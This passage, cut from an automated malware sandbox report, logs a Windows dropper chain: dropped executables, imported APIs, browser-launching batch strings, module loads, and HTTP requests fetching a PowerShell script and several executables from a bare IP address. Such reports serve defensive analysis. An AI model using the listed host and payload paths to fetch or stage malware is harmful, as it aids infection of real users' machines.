Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "Gdi32" - [base:77470000; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\urlmon.dll" - [base:0; Status:c0000135]45:Tf2e,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "foto1661_1_.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "pu4QC49.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "PH1iJ6gO.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "XJ8DL15.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "TW9GU8TZ.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "4Bu185jX.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "1RI95Jv4.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "salo.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "4Kb287am.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "tus_1_.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "3CP67Xw.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "1TB52Ye1.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "UG5dl07.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "yG0Wt0do.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "ZP7Gz0iG.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "Sj8xo42.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "5sU52oo.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "2YP522uh.exe" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "5cM9dm9.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "3kc5oj81.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "2va9153.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "clip64.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT46:T622,Observed unmanaged function "RmRegisterResources" in "2YP522uh.exe" Observed unmanaged function "RmStartSession" in "2YP522uh.exe" Observed unmanaged function "RmEndSession" in "2YP522uh.exe" Observed unmanaged function "RmGetList" in "2YP522uh.exe" Observed unmanaged function "DwmIsCompositionEnabled" in "2YP522uh.exe" Observed unmanaged function "BitBlt" in "2YP522uh.exe" Observed unmanaged function "CreateRoundRectRgn" in "2YP522uh.exe" Observed unmanaged function "PathCompactPath" in "2YP522uh.exe" Observed unmanaged function "ClientToScreen" in "2YP522uh.exe" Observed unmanaged function "CreateWindowEx" in "2YP522uh.exe" Observed unmanaged function "DestroyWindow" in "2YP522uh.exe" Observed unmanaged function "DrawMenuBar" in "2YP522uh.exe" Observed unmanaged function "FindWindow" in "2YP522uh.exe" Observed unmanaged function "GetClassName" in "2YP522uh.exe" Observed unmanaged function "GetClientRect" in "2YP522uh.exe" Observed unmanaged function "GetCursorPos" in "2YP522uh.exe" Observed unmanaged function "GetDCEx" in "2YP522uh.exe" Observed unmanaged function "GetMonitorInfo" in "2YP522uh.exe" Observed unmanaged function "GetScrollInfo" in "2YP522uh.exe" Observed unmanaged function "GetSystemMenu" in "2YP522uh.exe" Observed unmanaged function "GetWindowDC" in "2YP522uh.exe" Observed unmanaged function "GetWindowLong" in "2YP522uh.exe" Observed unmanaged function "GetWindowRect" in "2YP522uh.exe" Observed unmanaged function "GetWindowText" in "2YP522uh.exe" Observed unmanaged function "InsertMenu" in "2YP522uh.exe"47:T616,Found string "https://www.youtube.com/" (Indicator: "youtube"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found string "https://www.facebook.com/login" (Indicator: "facebook.com"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found string "@shift /0start "" https://www.facebook.com/loginstart "" https://www.youtube.comstart "" https://accounts.google.com" (Indicator: "facebook.com"; File: "7497.bat") file/memory contains long string with (Indicator: "facebook.com"; File: "Session_13343366571136279") Found string "www.facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "www.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login" (Indicator: "facebook.com"; Source: "00000000-00006420-00000C41-93391531466") Found string ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/" (Indicator: "youtube"; Source: "00000000-00006420-00000C41-112037140161") Found string "--single-argument https://www.facebook.com/login" (Indicator: "facebook.com"; File: "msedge.exe") Found string "--single-argument https://www.youtube.com/" (Indicator: "youtube"; File: "msedge.exe") file/memory contains long string with (Indicator: "youtube"; File: "urlref_httpswww.youtube.com") Found string "start "" https://www.facebook.com/login" (Indicator: "facebook.com"; File: "7497.bat") Found string "start "" https://www.youtube.com" (Indicator: "youtube"; File: "7497.bat")48:T70e,"GET /fuza/2.ps1 HTTP/1.1 Host: 77.91.68.249" Response ==> HTTP/1.1 200 OK Date: Thu 02 Nov 2023 02:18:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed 11 Oct 2023 23:22:56 GMT ETag: "a9-607791a731681" Accept-Ranges: bytes Content-Length: 169 with response body ==>2469655F70726F63696E666F203D2053746172742D50726F6365737320696578706C6F7265202D417267756D656E744C697374202768747470733A2F2F616363....... "GET /fuza/tus.exe HTTP/1.1 Host: 77.91.68.249" Response ==> HTTP/1.1 200 OK Date: Thu 02 Nov 2023 02:18:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu 02 Nov 2023 02:13:39 GMT ETag: "ef400-60921efad3683" Accept-Ranges: bytes Content-Length: 979968 Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F0000000....... "GET /fuza/foto1661.exe HTTP/1.1 Host: 77.91.68.249" Response ==> HTTP/1.1 200 OK Date: Thu 02 Nov 2023 02:18:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu 02 Nov 2023 02:11:23 GMT ETag: "17ba00-60921e78eb5c4" Accept-Ranges: bytes Content-Length: 1554944 Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E0000000....... "GET /fuza/salo.exe HTTP/1.1 Host: 77.91.68.249" Response ==> HTTP/1.1 200 OK Date: Thu 02 Nov 2023 02:18:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu 02 Nov 2023 02:14:48 GMT ETag: "11c800-60921f3bdf5b0" Accept-Ranges: bytes Content-Length: 1165312 Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F0000000.......49:T506,Launches browser "msedge.exe" (UID: 00000000-00007084) Launches browser "msedge.exe" (UID: 00000000-00002280) Launches browser "msedge.exe" (UID: 00000000-00004776) Launches browser "msedge.exe" (UID: 00000000-00006404) Launches browser "msedge.exe" (UID: 00000000-00008092) Launches browser "msedge.exe" (UID: 00000000-00006928) Launches browser "msedge.exe" (UID: 00000000-00006772) Launches browser "msedge.exe" (UID: 00000000-00002208) Launches browser "msedge.exe" (UID: 00000000-00005440) Launches browser "msedge.exe" (UID: 00000000-00005796) Launches browser "msedge.exe" (UID: 00000000-00006100) Launches browser "msedge.exe" (UID: 00000000-00002232) Launches browser "msedge.exe" (UID: 00000000-00005744) Launches browser "msedge.exe" (UID: 00000000-00005480) Launches browser "msedge.exe" (UID: 00000000-00007628) Launches browser "msedge.exe" (UID: 00000000-00006712) Launches browser "msedge.exe" (UID: 00000000-00003364) Launches browser "msedge.exe" (UID: 00000000-00000704) Launches browser "msedge.exe" (UID: 00000000-00007644) Launches browser "msedge.exe" (UID: 00000000-00007812) Launches browser "msedge.exe" (UID: 00000000-00003376) Launches browser "msedge.exe" (UID: 00000000-00004024) Launches browser "msedge.exe" (UID: 00000000-00001288)4a:T6551,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a10000 "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a10000 "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" loaded module "KERNEL32" at base 76bf0000 "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 737e0000 "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" loaded module "KERNEL32.DLL" at base 76bf0000 "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 77780000 "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" loaded module "FECLIENT.DLL" at base 737c0000 "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 73720000 "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" loaded module "NTDLL.DLL" at base 77dd0000 "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74740000 "pu4QC49.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "pu4QC49.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a10000 "pu4QC49.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a10000 "pu4QC49.exe" loaded module "KERNEL32" at base 76bf0000 "pu4QC49.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 737e0000 "pu4QC49.exe" loaded module "KERNEL32.DLL" at base 76bf0000 "pu4QC49.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 77780000 "pu4QC49.exe" loaded module "FECLIENT.DLL" at base 737c0000 "pu4QC49.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 73720000 "pu4QC49.exe" loaded module "NTDLL.DLL" at base 77dd0000 "pu4QC49.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74740000 "XJ8DL15.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "XJ8DL15.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a10000 "XJ8DL15.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a10000 "XJ8DL15.exe" loaded module "KERNEL32" at base 76bf0000 "XJ8DL15.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 737e0000 "XJ8DL15.exe" loaded module "KERNEL32.DLL" at base 76bf0000 "XJ8DL15.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 77780000 "XJ8DL15.exe" loaded module "FECLIENT.DLL" at base 737c0000 "XJ8DL15.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 73720000 "XJ8DL15.exe" loaded module "NTDLL.DLL" at base 77dd0000 "XJ8DL15.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74740000 "UG5dl07.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "UG5dl07.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a10000 "UG5dl07.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a10000 "UG5dl07.exe" loaded module "KERNEL32" at base 76bf0000 "UG5dl07.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 737e0000 "UG5dl07.exe" loaded module "KERNEL32.DLL" at base 76bf0000 "UG5dl07.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 77780000 "UG5dl07.exe" loaded module "FECLIENT.DLL" at base 737c0000 "UG5dl07.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 73720000 "UG5dl07.exe" loaded module "NTDLL.DLL" at base 77dd0000 "UG5dl07.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74740000 "Sj8xo42.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "Sj8xo42.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a10000 "Sj8xo42.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a10000 "Sj8xo42.exe" loaded module "KERNEL32" at base 76bf0000 "Sj8xo42.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 737e0000 "Sj8xo42.exe" loaded module "KERNEL32.DLL" at base 76bf0000 "Sj8xo42.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 77780000 "Sj8xo42.exe" loaded module "FECLIENT.DLL" at base 737c0000 "Sj8xo42.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 73720000 "Sj8xo42.exe" loaded module "NTDLL.DLL" at base 77dd0000 "Sj8xo42.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74740000 "1TB52Ye1.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "1TB52Ye1.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a10000 "1TB52Ye1.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a10000 "1TB52Ye1.exe" loaded module "KERNEL32" at base 76bf0000 "1TB52Ye1.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 737e0000 "1TB52Ye1.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 76a10000 "1TB52Ye1.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 76a10000 "1TB52Ye1.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 76a10000 "1TB52Ye1.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 76a10000 "1TB52Ye1.exe" loaded module "NTDLL.DLL" at base 77dd0000 "1TB52Ye1.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74740000 "1TB52Ye1.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 77800000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a10000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a10000 "AppLaunch.exe" loaded module "KERNEL32" at base 76bf0000 "AppLaunch.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 737e0000 "AppLaunch.exe" loaded module "ADVAPI32.DLL" at base 77780000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 73660000 "AppLaunch.exe" loaded module "SHLWAPI.DLL" at base 77310000 "AppLaunch.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 77800000 "AppLaunch.exe" loaded module "VERSION.DLL" at base 74510000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 72eb0000 "AppLaunch.exe" loaded module "USER32.DLL" at base 77810000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 76a10000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 774e0000 "AppLaunch.exe" loaded module "PSAPI.DLL" at base 77a70000 "AppLaunch.exe" loaded module "KERNEL32.DLL" at base 76bf0000 "AppLaunch.exe" loaded module "RPCRT4.DLL" at base 76950000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 70f10000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "AppLaunch.exe" loaded module "OLE32.DLL" at base 76cc0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 774e0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 76a10000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 72780000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 704b0000 "AppLaunch.exe" loaded module "SSPICLI.DLL" at base 747f0000 "AppLaunch.exe" loaded module "ADVAPI32" at base 77780000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "AppLaunch.exe" loaded module "NTDLL.DLL" at base 77dd0000 "2va9153.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "2va9153.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a10000 "2va9153.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a10000 "2va9153.exe" loaded module "KERNEL32" at base 76bf0000 "2va9153.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 737e0000 "2va9153.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 76a10000 "2va9153.exe" loaded module "WININET.DLL" at base 72b10000 "2va9153.exe" loaded module "KERNEL32.DLL" at base 76bf0000 "2va9153.exe" loaded module "RPCRT4.DLL" at base 76950000 "2va9153.exe" loaded module "SSPICLI.DLL" at base 747f0000 "2va9153.exe" loaded module "USER32.DLL" at base 77810000 "2va9153.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 728d0000 "2va9153.exe" loaded module "WINHTTP.DLL" at base 72820000 "2va9153.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 728d0000 "2va9153.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 741d0000 "2va9153.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 77bf0000 "2va9153.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 77800000 "3CP67Xw.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "3CP67Xw.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a10000 "3CP67Xw.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a10000 "3CP67Xw.exe" loaded module "KERNEL32" at base 76bf0000 "3CP67Xw.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 737e0000 "3CP67Xw.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 76a10000 "3CP67Xw.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 76a10000 "3CP67Xw.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 76a10000 "3CP67Xw.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 76a10000 "3CP67Xw.exe" loaded module "NTDLL.DLL" at base 77dd0000 "3CP67Xw.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74740000 "3CP67Xw.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 77800000 "AppLaunch.exe" loaded module "USER32" at base 77810000 "AppLaunch.exe" loaded module "SHELL32" at base 74810000 "4Kb287am.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a10000 "4Kb287am.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a10000 "4Kb287am.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a10000 "4Kb287am.exe" loaded module "KERNEL32" at base 76bf0000 "4Kb287am.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 737e0000 "4Kb287am.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 76a10000 "4Kb287am.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 76a10000 "4Kb287am.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 76a10000 "4Kb287am.exe" loaded module "NTDLL.DLL" at base 77dd0000 "4Kb287am.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74740000 "4Kb287am.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 77800000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 72be0000 "AppLaunch.exe" loaded module "MSCOREE.DLL" at base 736f0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74270000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 72a00000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.WINDOWS.FORMS\V4.0_4.0.0.0__B77A5C561934E089\UXTHEME.DLL" at base 0 "AppLaunch.exe" loaded module "UXTHEME.DLL" at base 74270000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 6fc90000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 728f0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 6f510000 "AppLaunch.exe" loaded module "SHELL32.DLL" at base 74810000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "AppLaunch.exe" loaded module "BCRYPT.DLL" at base 73b10000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 728c0000 "AppLaunch.exe" loaded module "IMM32.DLL" at base 77bc0000 "AppLaunch.exe" loaded module "COMCTL32.DLL" at base 727f0000 "AppLaunch.exe" loaded module "GDI32.DLL" at base 77470000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\WINDOWSBASE\1A4CC316FB6D09525321FC0BE44692D8\WINDOWSBASE.NI.DLL" at base 6eed0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIONCORE\468F4E17BE144CA12A73A4297EACC9CC\PRESENTATIONCORE.NI.DLL" at base 6e290000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIO5AE0F00F#\252CC7B0FAE8CFE083BDC149957C0C54\PRESENTATIONFRAMEWORK.NI.DLL" at base 6cea0000 "AppLaunch.exe" loaded module 